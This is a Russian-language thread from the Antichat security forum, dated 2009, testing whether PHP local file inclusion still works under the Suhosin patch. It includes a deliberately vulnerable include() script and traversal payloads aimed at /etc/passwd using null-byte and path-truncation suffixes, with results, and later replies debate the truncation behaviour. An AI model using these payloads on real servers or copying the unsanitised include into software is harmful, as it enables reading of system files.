ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
null byte в PHP c последними версиями Suhosin-Patch |

22.11.2009, 22:15
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
null byte в PHP c последними версиями Suhosin-Patch
PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28
suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)
Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (
Скрипт (обычный LFI):
PHP код:
<pre>
<?php
if (isset($_GET['p'])) {
echo "PATH: ".$_GET['p']."\n";
include("./".$_GET['p'].".txt");
} else {
echo "Переменная не определена\r\n";
}
?>
</pre>
Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.
1. test.php?p=../../../../../../../etc/passwd
Результат:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'
2. test.php?p=../../../../../../../etc/passwd%00
Результат:
3. test.php?p=../../../../../../../etc/passwd//////[4096]/////
Результат:
4. test.php?p=../../../../../../../etc/passwd//////[1024]/////
Результат:
5. test.php?p=../../../../../../../etc/passwd//////[512]/////
Результат:
Если объявить переменную:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте
__________________
Cервер cs 1.6
cs.antichat.net:27015
Последний раз редактировалось (Dm); 23.11.2009 в 00:01..
|
|
|

22.11.2009, 22:46
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Хмм, на PHP 5.2.9 еще все работало.
Обновлю, гляну.
|
|
|

22.11.2009, 23:04
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
Сообщение от Ins3t
Хмм, на PHP 5.2.9 еще все работало.
Обновлю, гляну.
Хм, проверил на версии PHP Version 5.2.11 (CentOS) без Suhosin от Oct 7 2009 08:33:09, там работает.
А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет.
Разобрался! Обновил пост.
__________________
Cервер cs 1.6
cs.antichat.net:27015
Последний раз редактировалось (Dm); 22.11.2009 в 23:24..
|
|
|

23.11.2009, 08:00
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
|
|
|

23.11.2009, 08:02
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
|
|
|

23.11.2009, 08:13
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от Pashkela
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
Мы непоняли друг друга паш 
|
|
|

23.11.2009, 08:16
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от [Raz0r
]
PHP в зависимости от платформы имеет ограничение на длину пути, определяемой константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
Все верно,значит я с чем-то спутал.
|
|
|

23.11.2009, 08:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
Сообщение от m0Hze
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
Cам проверь и тогда поймешь что где обрезается =)
Если мне не изменяет память
Постить на догадках - бред, да мало-ли что может быть.
Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил.
__________________
Cервер cs 1.6
cs.antichat.net:27015
Последний раз редактировалось (Dm); 23.11.2009 в 09:04..
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Books PHP
|
FRAGNATIC |
PHP, PERL, MySQL, JavaScript |
186 |
21.02.2010 02:41 |
|
Проблема с конвертацией базы mySQL
|
GrAmOzEkA |
PHP, PERL, MySQL, JavaScript |
18 |
18.10.2009 23:07 |
|
Вопрос по Mysql
|
{BuT@Min} |
PHP, PERL, MySQL, JavaScript |
4 |
18.12.2006 08:52 |
|
Безопасность в Php, Часть Iii
|
k00p3r |
Чужие Статьи |
0 |
11.07.2005 19:02 |
|
Защищаем Php. Шаг за шагом.
|
k00p3r |
Чужие Статьи |
0 |
13.06.2005 11:31 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|